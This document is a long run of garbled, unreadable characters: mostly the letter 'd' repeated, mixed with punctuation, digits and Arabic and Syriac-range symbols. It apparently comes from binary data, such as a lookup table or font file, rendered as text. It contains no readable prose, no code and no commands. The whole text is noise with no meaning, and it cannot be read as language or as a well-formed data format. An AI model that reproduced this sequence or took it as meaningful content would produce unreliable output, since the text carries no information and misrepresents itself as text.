d!d"d#d$d%d&d'd(d)dXdd+,d-dd./d0d1dd23dd45d6d7d8dXd:dd;<d=d>d?d@dAdBdCdDdEdFdGdHdXdJdKيLkM\dNOdPdQdRdSdTdUdVdWdXdYdZd[dXdd]^d_dd`adbdcdddeddfgdhdidjdXdl{dmndodpdqdrdsdtdudvdwdxdydzdXdd|}d~ddـdفdقddكلddمنdهdوdىdXdًٌٛddٍَdُdِdّdْdٓdٔdٕdٖdٗd٘dٙdٚdXdٜddٝٞdٟd٠d١d٢d٣d٤d٥d٦d٧d٨d٩d٪dXd٬d٭dٮnٯٰdٱٲٳٷٴdٵdٶd8dٸdٹdٺٻdټdٽdپdٿdddddd8dddddd888888ddddddddddd8d8d8dddddddddddddddd8dMddd8ddddddddddddd8ddddd d  88  8888ddddddddddd8d8d8d >!%"d#d$d8d&d'd(3)d*d+d,d-d.d/d0d1d2d8dd45d6dd7d8988:;88<=88dd?@ddAdBCdDddEdFGdHd8IJd8KLd8dN^OddPQdRdSdTdUdVdWdXdYdZd[d\d]d8d_dd`adbdcdddedfdgdhdidjdkdldmd8dodpdqڟrڐswtdudvd8dxdydzڅ{d|d}d~ddڀdځdڂdڃdڄd8ddچڇdڈddډdڊڋ88ڌڍ88ڎڏ88ddڑڒddړdڔڕdږddڗdژڙdښd8ڛڜd8ڝڞd8dڠddڡڢdڣdڤdڥdڦdڧdڨdکdڪdګdڬdڭdڮd8dڰۂڱdڲ\ڳڴڵdڶڷdڸھڹdںdڻdڼڽddڿddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dd  d d dddddddddddddK;d#dd d!"dd$d%d&1'd(d)d*d+d,d-d.d/d0ddd23d4d5dd67d8d9d:dd<dd=>d?d@dAdBdCdDdEdFdGdHdIdJddLMddNOdPdQdRdSdTdUdVdWdXdYdZd[dd]d^p_d`addbcdddedfdgdhdidjdkdldmdndoddqdrsddtudvdwdxdydzd{d|d}d~ddۀdہddۃdۄdۅۻۆۙۇۈPdۉdۊddۋیdۍdێdۏdېdۑdےdۓd۔dەdۖdۗdۘdPdPۚۛ۫ۜdd۝۞d۟d۠dۡdۢdۣdۤdۥdۦdۧdۨd۩d۪dPd۬ddۭۮdۯd۰d۱d۲d۳d۴d۵d۶d۷d۸d۹dۺdPdۼd۽dP۾ۿdddddddddddddddPd0hdd6dddddddddddddddcdddddddddddddddcddddddddddddddddcdd&d  d d d ddddddddddcddddddddd dd!"d#d$d%dcd'dd()d*d+d,d-d.d/d0d1d2d3d4d5dcd7d8d9X:Id;<d=d>d?d@dAdBdCdDdEdFdGdHdcddJKdLdMddNOddPQdRddSTdUdVdWdcdYddZ[d\d]d^d_d`dadbdcdddedfdgdcdidjdklܝmdn܍o~dpqdrdsdtdudvdwdxdydzd{d|d}d60dd܀d܁d܂dd܃܄d܅d܆dd܇d܈܉d܊d܋d܌d60d܎dd܏ܐdܑdܒdܓdܔdܕdܖdܗdܘdܙdܚdܛdܜd60dܞܟܾܠܯdܡܢdܣdܤdܥdܦdܧdܨdܩdܪdܫdܬdܭdܮd60ddܱܰdܲdܳddܴܵdܶdܷddܸdܹܺdܻdܼdܽd60dܿdddddddddddddd60ddddddddddddddd60dddddddddddddddd60dddddddddddddddd60ddd dddddd d d d d dddd60ddddddddddddddd60d!dd"#d$d%d&d'd(d)d*d+d,d-d.d/d60d12d3d45d6d7T8Gd9:d;d<d=d>d?d@dAdBdCdDdEdFd9ddHIddJKdLddMNdOddPQdRd9S9dUddVWdXdYdZd[d\d]d^d_d`dadbdcd9deݠf݃gvdhidjdkdldmdndodpdqdrdsdtdud9ddwxddyzd{dd|}d~dd݀d݁d9݂9d݄ݓd݆݅d݇d݈d݉d݊d݋d݌dݍdݎdݏdݐdݑdݒd9ddݔݕddݖݗdݘddݙݚdݛddݜݝdݞd9ݟ9dݡݱݢddݣݤdݥdݦdݧdݨdݩdݪdݫdݬdݭdݮdݯdݰd9dݲddݳݴdݵdݶdݷdݸdݹdݺdݻdݼdݽdݾdݿdd9ddddddddddddddddd9dddddddddddd99dddddddddddddddd9dddއV&ddddddddddddddfdd d dd d d dddddddfdfddddddddd d!d"d#d$d%dfd'F(7d)*d+d,d-d.d/d0d1d2d3d4d5d6dfdd89d:dd;d<d=d>?d@ddABdCdDdEfdfGddHIdJdKdLdMdNdOdPdQdRdSdTdUdfdWdXwYhdZ[d\d]d^d_d`dadbdcdddedfdgdfddijdkddldmdndopdqddrsdtdudvfdfxddyzd{d|d}d~ddހdށdނdރdބdޅdކdfdވdމފީދޚdތލdގdޏdސdޑdޒdޓdޔdޕdޖdޗdޘdޙdfddޛޜdޝddޞdޟdޠdޡޢdޣddޤޥdަdާdިfdfު޹dޫެdޭdޮdޯdްdޱd޲d޳d޴d޵d޶d޷d޸dfdd޺޻d޼dd޽d޾d޿dddddddfdfdddddddddddddddfddddddddddddddddfdJ߲dd߁"dddddddddddddddddddd dd  d dd dddddddddddddddddd d!dd#`$B%4d&'d(d)d*d+d,d-d.d/d0d1d2d3ddd56d7dd89dd:;d<dd=>d?d@dAddCRdDEdFdGdHdIdJdKdLdMdNdOdPdQdddSTdUddVWddXYdZdd[\d]d^d_ddaqbddcddedfdgdhdidjdkdldmdndodpddrddstdudvdwdxdydzd{d|d}d~dd߀dd߂d߃d߄ߢ߅ߔd߆߇d߈d߉dߊdߋdߌdߍdߎdߏdߐdߑdߒdߓdddߕߖdߗddߘߙddߚߛdߜddߝߞdߟdߠdߡddߣddߤߥdߦdߧdߨdߩdߪd߫d߬d߭d߮d߯d߰d߱dd߳dߴdߵd߶߷d߸߹dߺ߻d߼d߽d߾d߿dddddddddXdddddddddddddddXddddddddddddddddXdd ddddddddddddddXdddddddddddddddXd dd  d ddddddddddddXdd:+ddd d!d"d#d$d%d&d'd(d)d*dXdd,-d.d/d0d1dd2d34dd56d7d8d9dXd;dd<=d>d?d@dAdBdCdDdEdFdGdHdIdXdKLMNsOaPdQRddSTdUdVdWdXdYdZd[d\d]d^d_d`ddbdcdddefdgdhdidjdkdldmdndodpdqdrddtudvwddxydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd  dd  d dddddddddddddd[dK <!)"d#d$d%&d'd(dd*d+d,7-d.d/d0d1d2d3d4d5d6ddd89dd:;ddd=d>?dd@AdBdCdDEFdGdHdIJdLddMNdOdPdQdRdSdTdUdVdWdXdYdZdd\d]^z_g`dadbdcddedfddhdidjukdldmdndodpdqdrdsdtdddvwddxyddd{d|}dd~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d ddddddddddVdF7$ddd !d"d#dd%d&d'2(d)d*d+d,d-d.d/d0d1ddd34dd56ddd8d9:dd;<d=d>d?@AdBdCdDEdGddHIdJdKdLdMdNdOdPdQdRdSdTdUddWdXYuZb[d\d]d^_d`daddcdddepfdgdhdidjdkdldmdndodddqrddstdddvdwxddyzd{d|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d ddddlddY(dnddddddd d!d"d#d$d%d&d'dnd)d*I+:d,-d.d/d0d1d2d3d4d5d6d7d8d9dndd;<dd=>dd?d@dAdBnCDdEdFdGdnHndJddKLdMdNdOdPdQdRdSdTdUdVdWdXdndZd[dn\]dd^_d`dadbdcdddedfdgdhdidjdkdndmdndo%pqd%rsddtudvdwdxdydzd{d|d}d~dddd%dd%ddddddddddddddd%dddddddddddddddddd{addddd{a{a{add{adddddddddddddddd{adddddddddddddddd{addddd{a{a{add{adddddddddddddddd{addddddddddddddddd{addddd{a {a {a  d d{adddddddddddddddd{add {!F"4#d$%dd&'d(d)d*d+d,d-d.d/d0d1d2d3dd5d67dd89d:d;d<d=d>d?d@dAdBdCdDdEddGYHdIJddKLdMdNdOdPdQdRdSdTdUdVdWdXddZ[k\dd]^d_d`dadbdcdddedfdgdhdidjddlddmndodpdqdrdsdtdudvdwdxdydzdd|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddE d 5 '  ddddddddddd$dddd d!d"d#ddd%&ddd()dd*d+d,d-d./d01d2d3d4d6dd78d9d:d;d<d=d>d?d@dAdBdCdDddFdGrHdISJdKdLdMNdOPdQdRdTdUdVdWdXaYdZd[d\d]d^d_d`dddbcdddefddgdhdidjdkldmndodpdqdsddtudvdwdxdydzd{d|d}d~dddddddddddddddddddddd!ddddddddddd!!d!dddddddddddddddd!dddddddddddddddd!ddddddddddd!!d!dddddddddddddddd!ddddddddddddddddd!ddddddddddd!!d!ddd  d d d dddddddddd!dyddf.d.dd !d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0V1G283d4d5d.67d.d9d:d;d<d=d>d?F@dAdBdCdDdEd.d.ddHdIJdKdLddMNdOd.P.QRdSd.TUd.dWddXYdZd[d\d]d^d_d`dadbdcddded.dg.hd.ijddkldmdndodpdqdrdsdtdudvdwdxd.dzd{q|?}~ddddddddddddddXdddddddddddddddXddddddddddddddddXdddddddddddddddXdddddddddddddddXddddddddddddddddXdddddddddddddddXdddddddddddddddXdddddddddd d d d d ddXd/ ddddddddddddddXdd!"d#d$dd%d&d'(dd)d*+d,d-d.dXd0dd12d3d4d5d6d7d8d9d:d;d<d=d>dXdd@AdBaCRdDEdFdGdHdIdJdKdLdMdNdOdPdQdXddSTdUdVddWdXdYZdd[d\]d^d_d`dXdbddcddedfdgdhdidjdkdldmdndodpdXdrdsdtduvdwxdydzd{d|d}d~dddddddXdddddddddddddddXddddddddddddddddXdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d dddddddddddd|Kd;,dd d!d"d#d$d%d&d'd(d)d*d+dXdd-.d/dd0d1d2d3d45d6d7d8dX9:dXd<dd=>d?d@dAdBdCdDdEdFdGdHdIdJdXdLdMlN]dOPdQdRdSdTdUdVdWdXdYdZd[d\dXdd^_d`ddadbdcdddefdgdhdidXjkdXdmddnodpdqdrdsdtdudvdwdxdydzd{dXd}d~dddddddddddddddXdddddddddddddXdXddddddddddddddddXdGdddddddddddddddddXdddddddddddddddXddddddddddddddddXddddddddddddddddXdddddddddddddddXdddd d d d d ddddddddXddd7(dddddd d!d"d#d$d%d&d'dXdd)*d+d,dd-.d/dd01d2d3d4d5d6dXd8dd9:d;d<d=d>d?d@dAdBdCdDdEdFdXdHdIdJKL|MlN]dOPdQdRdSdTdUdVdWdXdYdZd[d\dY dd^_d`dadbddcddeddfgdhdidjdkdY dmddnodpdqdrdsdtdudvdwdxdydzd{dY d}~ddddddddddddddY dddddddddddddddY ddddddddddddddddY ddddddddddddddddY dddddddddddddddY ddddddddddddddddY dddddddddddddddddY dddddddddddddddY dddddddddd d d d d ddY d;ddwGd7)ddddd d!d"d#d$d%d&d'd(dԭdd*+d,dd-.dd/d01d2d3d4d5d6dԭd8dd9:d;d<d=d>d?d@dAdBdCdDdEdFdԭdHdIgJYdKLdMdNdOdPdQdRdSdTdUdVdWdXdԭddZ[d\dd]^dd_d`adbdcdddedfdԭdhddijdkdldmdndodpdqdrdsdtdudvdԭdxdydz{d|}d~ddddddddddddԭddddddddddddddԭddddddddddddddddԭddp> ddddddddddddddYdddddddddddddddYddddddddddddddddYdddddddddddddddYdddddddddddddddYdddddddddddd d d d dYdd.ddddddddddddddYdd !d"d#d$d%dd&d'(d)d*d+d,d-dYd/dd01d2d3d4d5d6d7d8d9d:d;d<d=dYdd?@dA`BQdCDdEdFdGdHdIdJdKdLdMdNdOdPdYddRSdTdUdVdWddXdYZd[d\d]d^d_dYdaddbcdddedfdgdhdidjdkdldmdndodYdqdrsdtudvwdxdydzd{d|d}d~ddddddYdddddddddddddddYddddddddddddddddYddddddddddddddddYdddddddddddddddYddddddddddddddddYddj ddddddddddddddddY)ddddddddddddddY)ddddddddddddddddY)d : d * ddddddddddddddY)ddddd !dd"#d$d%dd&'d(d)dY)d+dd,-d.d/d0d1d2d3d4d5d6d7d8d9dY)d;d<Z=Ld>?d@dAdBdCdDdEdFdGdHdIdJdKdY)ddMNdOddPQddRSdTdUddVWdXdYdY)d[dd\]d^d_d`dadbdcdddedfdgdhdidY)dkdldmdno~dpqdrdsdtdudvdwdxdydzd{d|d}dY)ddddddddddddddY)ddddddddddddddddY)dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d + ddddddddd"ddddddd d!ddd#d$%d&d'()d*dd,dd-.d/d0d1d2d3d4d5d6d7d8d9d:dd<X=>d?d@ArBdCbDSdEFdGdHdIdJdKdLdMdNdOdPdQdRdY8ddTUdVdWdXddYZdd[\dd]^d_d`dadY8dcdddedfdgdhdidjdkdldmdndodpdqdY8dsdtudvwdxdydzd{d|d}d~ddddddY8dddddddddddddddY8ddddddddddddddddY8dddddddddddddddddY8dddddddddddddddY8ddddddddddddddddY8dd"RddRdRddRdRddddddddddddddddRdddRdRddRdRddddddddd d d d d dddRddRddddddddddddd d!dRd#d$6%dR&'dd()d*d+d,d-d.d/d0d1d2d3d4d5dRdR78H9dd:;d<d=d>d?d@dAdBdCdDdEdFdGdRdIddJKdLdMdNdOdPdQdRdSdTdUdVdWdRdY Zd[d\]^d_x`ddabdcdddeofdgdhdidjdkdldmdndYFdpddqdrsdtdudvdwdYFdyddz{d|d}d~ddddddddddYFddddddddddddddddYFdddddddddYFddddddddddddddddYFddddddddddddddddYFdddddddddYFddddddddddddddddYFddddddddddddddddYFdddddddddYFddddddddddddddd dYFd d d p?d/ dddddddddddddd7dd!"d#dd$%d&dd'(d)d*d+d,d-d.d7d0dd12d3d4d5d6d7d8d9d:d;d<d=d>d7d@dA`BQdCDdEdFdGdHdIdJdKdLdMdNdOdPd7ddRSdTddUVdWddXYdZd[d\d]d^d_d7daddbcdddedfdgdhdidjdkdldmdndod7dqrdstduvdwdxdydzd{d|d}d~ddddd7ddddddddddddddd7dddddddddddddddd7dddddddddddddddd7ddddddddddddddd7dddddddddddddddd7dpdd@ dddddddddddddddV|ddddddddddddV|V|V|dV|V|dddddddddddd d d d dV|dd0ddddddddddddddV|dd !dd"#d$dd%&dd'd()d*d+.V|,-V|V|dV|/V|d1dd23d4d5d6d7d8d9d:d;d<d=d>d?dV|dAtBdCdDSdEFdGdHdIdJdKdLdMdNdOdPdQdRdV|ddTUddVWdXddYZdd[d\]d^d_bV|`aV|V|dV|cV|deddfgdhdidjdkdldmdndodpdqdrdsdV|dudvwdxydzd{d|d}d~ddddddddV|ddddddddddddV|V|V|dV|V|ddddddddddddddddV|ddd dddddddddddddddR]dddddddddddddR]R]R]ddddddddddddddddR]ddddddddddddddddR]dddddddddddddR]R]R]dddddddddddd d d d dR]d?d/ ddddddddddddddR]dd!"dd#$d%d&d'd(dd)d*+d,dR]-R].R]d0dd12d3d4d5d6d7d8d9d:d;d<d=d>dR]d@dA`BQdCDdEdFdGdHdIdJdKdLdMdNdOdPdR]ddRSddTUdVdWdXdYddZd[\d]dR]^R]_R]daddbcdddedfdgdhdidjdkdldmdndodR]dq rdsdtudvdwxdyzd{d|d}d~dddddddddxdddddddddddddxxxddddddddddddddddxddddddddddddddddxdddddddddddddxxxddddddddddddddddxddddddddddddddddxdddddddddddddxxxddddddddddddddddxd d  > dd.dddddddddddddddd !d"dd#d$d%d&'d(d)d*d+d,-dd/dd01d2d3d4d5d6d7d8d9d:d;d<d=dd?@A`BQdCDdEdFdGdHdIdJdKdLdMdNdOdPdddRSdTddUdVdWdXYdZd[d\d]d^_ddapdbcdddedfdgdhdidjdkdldmdndodddqrdsddtdudvdwxdydzd{d|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd : d d * ddddddddddddddYTdddd d!d"dd#d$%dd&'dYT()dYTd+dd,-d.d/d0d1d2d3d4d5d6d7d8d9dYTd;<y=[>Md?@dAdBdCdDdEdFdGdHdIdJdKdLdYTddNOddPQdRdSddTdUVddWXdYTYZdYTd\kd]^d_d`dadbdcdddedfdgdhdidjdYTddlmddnodpdqddrdstdduvdYTwxdYTdz{dd|}d~ddddddddddddYTddddddddddddddddYTddddddddddddddddYTddddddddddddYTdYTddddddddddddddddYTddddddddddddddddddYTddddddddddddYTdYTddddddddddddddddYTddd`0d ddddd d d d d dddddddddddddddddddd!dd"#d$d%d&d'd(d)d*d+d,d-d.d/dd1d2P3Bd45d6d7d8d9d:d;d<d=d>d?d@dAdddCDdEddFdGHdIdJdKdLdMdNdOddQddRSdTdUdVdWdXdYdZd[d\d]d^d_ddabdcdsdefdgdhdidjdkdldmdndodpdqdrdddtudvddwdxydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddgBddddddddddddddddddddddddddddddddddddddddddddddddddddddd2% d d  d dddddddd ddddddddddd!dd"#dd$dd&d'(d)d*dd+d,-d./0d1d3dd45d6d7d8d9d:d;d<d=d>d?d@dAddCUDdEFddGHdIdJdKdLdMdNdOdPdQdRdSdTddVdWXddYZd[d\d]d^d_d`dadbdcdddedfddhdi{jdklddmndodpdqdrdsdtdudvdwdxdydzdd|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddBdddddddddddddddodddddddddddooooddddddddddddddddoddodddddddddddddddoddodddddd d d d d dddddodd2$dddddddddd d!d"d#dodd%&dd'(dd)*dd+,d-d.do/o0o1od3dd45d6d7d8d9d:d;d<d=d>d?d@dAdodCdDdEdFdGVdHIdJdKdLdMdNdOdPdQdRdSdTdUdoddWXddYZdd[\dd]^d_d`doaobocodeddfgdhdidjdkdldmdndodpdqdrdsdoduv@wxyz{d|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d O - d dddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,dd.d/?0dd12d3d4d5d6d7d8d9d:d;d<d=d>dd@ddABdCdDdEdFdGdHdIdJdKdLdMdNddPrQdRbSddTUdVdWdXdYdZd[d\d]d^d_d`daddcdddedfdgdhdidjdkdldmdndodpdqddsdtuddvwdxdydzd{d|d}d~ddddddddddddddddddddddd-dddddddddddddddddYbddddddddddddddYbYbddddddddddddddddYbddddddddddddddddYbddddddddddddddYbYbddddddddddddddddYbdddddddddddd d d d d dYbddddddddddddddYbYbddd d!d"d#d$d%d&d'd(d)d*d+d,dYbd.d/d0s1C2dS34dd56d7d8d9d:d;d<d=d>d?d@dAdBdSdDdEcFUdGHdIdJdKdLdMdNdOdPdQdRdSdTdSddVWddXYddZ[d\d]dd^_dS`SabdSddddefdgdhdidjdkdldmdndodpdqdrdSdtudvwdxydzd{d|d}d~ddddddddSdddddddddddSSdSddddddddddddddddSddddddddddddddddSdddddddddddSSdSddddddddddddddddSducdddddddddddddddddddddddddddddddddddddddddddddd d d d d ddddddddddddddddddA d!1"dd#$d%d&d'd(d)d*d+d,d-d.d/d0dd2dd34d5d6d7d8d9d:d;d<d=d>d?d@ddBdCSDddEFdGdHdIdJdKdLdMdNdOdPdQdRddTddUVdWdXdYdZd[d\d]d^d_d`dadbdddedfghyRijddkldmdndodpdqdrdsdtdudvdwdxdRdz{dd|}d~ddddddddddddRddddddddddddddddRdddRdRRRddddddddddddddRddddRddddRdRdRRdRddddddddddddddddRdRdddddddddddddddRddddddddddddddddRd- dRdRRRdddddddddd d d d dRddddRddddRdRdRRdRddd d!d"d#d$d%d&d'd(d)d*d+d,dRd.T/D061dR23dR4R5Rd7d8d9d:d;d<d=d>d?d@dAdBdCdRdEdFdGHdRIdJdKdLdRMNdROPdRQRRSdRdUddVWdXdYdZd[d\d]d^d_d`dadbdcdRdefgdhi~jpkdRlmdRnRoRdqdrdsdtdudvdwdxdydzd{d|d}dRddddRddddRdRdRRdRddddddddddddddddRdRdddddddddddddddRddddddddddddddddRdRRddRRdddddddddddddddRdddRdRRRddddddddddddddRddddRddddRdRdRRdRdddddddddd d d d d ddRdS2"ddddddddddddd d!dRd#dd$%d&d'd(d)d*d+d,d-d.d/d0d1dRd3C4dd56d7d8d9d:d;d<d=d>d?d@dAdBdRdDddEFdGdHdIdJdKdLdMdNdOdPdQdRdRdTdUeVddWXdYdZd[d\d]d^d_d`dadbdcdddRdfddghdidjdkdldmdndodpdqdrdsdtdRdvwwdxyz{d|}~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d ddddddddd;)ddddddd d!d"d#d$d%d&d'd(dd*d+,dd-.d/d0d1d2d3d4d5d6d7d8d9d:dd<d=d>g?X@JAdBdCdDEdFdGdHIddKdLdMdNdOdPdQdRdSdTdUdVdWdddYdZ[d\d]d^d_d`adbdcddedfddhddijdkdldmdndodpdqdrdsdtdudvddxdydz{|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddd d  dd dddddddddddddd d !"R#d$B%4d&'d(d)d*d+d,d-d.d/d0d1d2d3ddd56dd78d9d:d;d<d=dd>?d@dAdCddDEdFdGdHdIdJdKdLdMdNdOdPdQddSdTrUddVWdXdYdZd[d\d]d^d_d`dadbdcdddefddghdidjdkdldmddnodpdqdsddtudvdwdxdydzd{d|d}d~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d dddddddddd|K;/!dd dd"d#d$d%d&d'd(d)d*d+d,d-d.ddd01dd23dd4d56d7d8d9:d<dd=>d?d@dAdBdCdDdEdFdGdHdIdJddLlM`NROdPdQddSdTdUdVdWdXdYdZd[d\d]d^d_dddabddcdddedfgdhdidjkdmddnodpdqdrdsdtdudvdwdxdydzd{dd}d~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d dddddddyGd7+dddddd d!d"d#d$d%d&d'd(d)d*ddd,-dd./dd0d12d3d4d56d8dd9:d;d<d=d>d?d@dAdBdCdDdEdFddHdIiJ]KOLdMdNddPdQdRdSdTdUdVdWdXdYdZd[d\ddd^_dd`addbdcddedfdghdjddkldmdndodpdqdrdsdtdudvdwdxddzd{d|}~ddddddddddddddddddddddddddddddddddddddddddddvdddddddddddddddddYpdddddddddddddddYpddddddddddddddddYpddddddddddddddddYpdddddddddddddddYpdddddd d d d d ddddddYpdEd5&dddddddd d!d"d#d$d%dYpdd'(d)dd*+d,dd-d.d/0d1d2d3d4dYpd6dd78d9d:d;d<d=d>d?d@dAdBdCdDdYpdFdGfHWdIJdKdLdMdNdOdPdQdRdSdTdUdVdYpddXYdZdd[\d]dd^d_d`adbdcdddedYpdgddhidjdkdldmdndodpdqdrdsdtdudYpdwdxdyz{d|}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d dd  ddm?d/#ddddddddddd d!d"ddd$%dd&'d(d)dd*d+,d-d.dd0dd12d3d4d5d6d7d8d9d:d;d<d=d>dd@dA]BQdCDdEdFdGdHdIdJdKdLdMdNdOdPdddRSddTUdVdWddXdYZd[d\dd^dd_`dadbdcdddedfdgdhdidjdkdlddndodpqdrsdtdudvdwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddYdddddddddddddYddddddddddddddddYddYdddddddddddddddYddYdddddddddddddddYdxddU'dddd ddddddddd d dBnd d ddddddBndBndBnddddddddd d!d"d#d$d%d&dBnd(d)E*dd+,d-9.d/d0d1d2d3d4d5d6d7d8dBnd:d;d<d=d>dd?@dBnABdBnCDdBndFddGHdIdJdKdLdMdNdOdPdQdRdSdTdBndVdBnWXhYddZ[d\d]d^d_d`dadbdcdddedfdgdBndiddjkdldmdndodpdqdrdsdtdudvdwdBndydzd{|}d~dddddddddddddd|tddddddddddddddd|tdddddddddddddddd|tdddddddddddddddd|tddddddddddddddd|tdddddddddddddddd|tdddddddddddddddd|tddddddddddddddd|tdddddddd d d d d ddd|tddddddddddddddd|td 0!dd"#d$d%d&d'd(d)d*d+d,d-d.d/d|td1dd23d4d5d6d7d8d9d:d;d<d=d>d?d|tdA <BdCDEdFdGxHdIdJhKZdLMdNdOdPdQdRdSdTdUdVdWdXdYdJdd[\dd]^d_d`ddadbdcddedJfgdJdiddjkdldmdndodpdqdrdsdtdudvdwdJdyzd{|d}~dddddddddddddJddddddddddddJdJddddddddddddddddJddddddddddddddddJddddddddddddJdJddddddddddddddddJddd?dddddddddddddddYdddddddddddddYdYddddddddddd d d d d dYdd/ ddddddddddddddYdd!"d#dd$d%d&d'(dd)d*+d,dY-.dYd0dd12d3d4d5d6d7d8d9d:d;d<d=d>dYd@qAdBaCRdDEdFdGdHdIdJdKdLdMdNdOdPdQdYddSTdUddVdWdXdYZdd[d\]d^dY_`dYdbddcddedfdgdhdidjdkdldmdndodpdYdrdstduvdwdxdydzd{d|d}d~dddddYdddddddddddddYdYddddddddddddddddYd8ddddddddddddddddddYddddddddddddddYddddddddddddddddYddddddddddddddddYddddddddddddddYddddddddddddddddYd d ( d  dddddddddddddYddddddd d!d"#dd$%d&d'dYd)dd*+d,d-d.d/d0d1d2d3d4d5d6d7dYd9d:1;<m=d>]?Nd@AdBdCdDdEdFdGdHdIdJdKdLdMdYddOPdQdRddSTddUdVWddXYdZd[d\dYd^dd_`dadbdcdddedfdgdhdidjdkdldYdndopdqrdsdtdudvdwdxdydzd{d|d}d~dYdddddddddddddddYddddddddddddddddYdddddddddddddddYdddddddddddddddYdddddddddddddddYdddddddddddddddYddddddddddddddddYddddddddddddddddYdd!ddddd d d d d dddddYdddddddddddddd dYd"dd#$d%d&d'd(d)d*d+d,d-d.d/d0dYd2d3d4d5T6Ed78d9d:d;d<d=d>d?d@dAdBdCdDdYddFGdHdIddJKddLdMNddOPdQdRdSdYdUddVWdXdYdZd[d\d]d^d_d`dadbdcdYdefgdhidjkdlm|dnodpdqdrdsdtdudvdwdxdydzd{dsdd}~ddddddddddsddddddddddddddddsddddddddddddddddsddddddddddddsddddddddddddddddsddddddddddddddddddsddddddddddddsddddddddddddddddsddZ*d ddddddddddd d d dYdd ddddddddddddYdddddd d!d"d#d$d%d&d'd(d)dYd+d,J-<d./d0d1d2d3d4d5d6d7d8d9d:d;dYdd=>d?dd@AddBdCDddEdFGdHdIdYdKddLMdNdOdPdQdRdSdTdUdVdWdXdYdYd[\d]{^md_`dadbdcdddedfdgdhdidjdkdldYddnodpddqrddsdtuddvdwxdydzdYd|dd}~dddddddddddddYddddddddddddddddYddddddddddddddYddddddddddddddddYddddddddddddddddddYddddddddddddddYddddddddddddddddYdddT#dddddddddddddddYdddddd  d dd  ddddddYddddddddddddd d!d"dYd$d%D&5d'(d)d*d+d,d-d.d/d0d1d2d3d4dYdd67d8d9dd:;d<dd=>dd?@dAdBdCdYdEddFGdHdIdJdKdLdMdNdOdPdQdRdSdYdUVdWvXgdYZd[d\d]d^d_d`dadbdcdddedfdYddhidjdkddlmdnddopddqrdsdtdudYdwddxydzd{d|d}d~ddddddddYddddddddddddddddYdddddddddddddddYddddddddddddddddYddd dddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddd d d  d dd d  d dd dd  d d d d d d d d d d d d dd d   , dd  d d !d "d #d $d %d &d 'd (d )d *d +dd -dd . /d 0d 1d 2d 3d 4d 5d 6d 7d 8d 9d :d ;dd =  >  ?  @d Ad B t Cd Dd E d F Ud G Hd Id Jd Kd Ld Md Nd Od Pd Qd Rd Sd TdYdd V Wd Xd Ydd Z [d \d ]d ^d _d `d ad bd cdYd edd f gd hd id jd kd ld md nd od pd qd rd sdYd u  vd w  x d y zd {d |d }d ~d d d d d d d d dYdd  d d dd  d d d d d d d d dYd dd  d d d d d d d d d d d d dYd d    d  d d d d d d d d d d d d dYdd  d d dd  d d d d d d d d dYd dd  d d d d d d d d d d d d dYd d    5   d   dd  d d   d d d d d d d d d dgd d d d dd  dg  d d dgd dd  d d d d d d d d d d d d dgd d  % dd  d d   d d d d d d d d d dgd d d d dd  dg ! "d #d $dgd &dd ' (d )d *d +d ,d -d .d /d 0d 1d 2d 3d 4dgd 6 c 7d 8 S 9dd : ;d <d = H >d ?d @d Ad Bd Cd Dd Ed Fd Gdgd Id Jd Kd Ldd M Ndg O Pd Qd Rdgd Tdd U Vd Wd Xd Yd Zd [d \d ]d ^d _d `d ad bdgd dd e  fdd g hd id j u kd ld md nd od pd qd rd sd tdgd vd wd xd ydd z {dg | }d ~d dgd dd  d d d d d d d d d d d d dgd d d d   dd  d d   d d d d d d d d d dgd d d d dd  dg  d d dgd dd  d d d d d d d d d d d d dgd  X d d   d d    d  d d d d d d d d d d d d dYdd  d d d dd d d  dd  d d d dYd dd  d d d d d d d d d d d d dYd  ' d    d  d d d d d d d d d d d d dYdd  d d d dd d d  dd  d d d dYd dd  d d d d d d d !d "d #d $d %d &dYd (d ) H * 9d + ,d -d .d /d 0d 1d 2d 3d 4d 5d 6d 7d 8dYdd : ;d <d =d >dd ?d @d A Bdd C Dd Ed Fd GdYd Idd J Kd Ld Md Nd Od Pd Qd Rd Sd Td Ud Vd WdYd Yd Z  [ \ ~ ] ^ n _dd ` ad bd cd dd ed fd gd hd id jd kd ld mdd odd p qd rd sd td ud vd wd xd yd zd {d |d }dd   dd  d d d d d d d d d d d d dd d d d   d   d d      dd   d d d d d d d d d d d dd dd  d d   dd dd  d d d d d d d d d d d d dd  h   d d  ?   d    d  d d d d d d d d d d d d dfdd  dd  d dd d d d d      f fdf  f fdf fdf  d dfd dd  d d d d d d d d d d d d dfd d  /  d  d d d d d d d 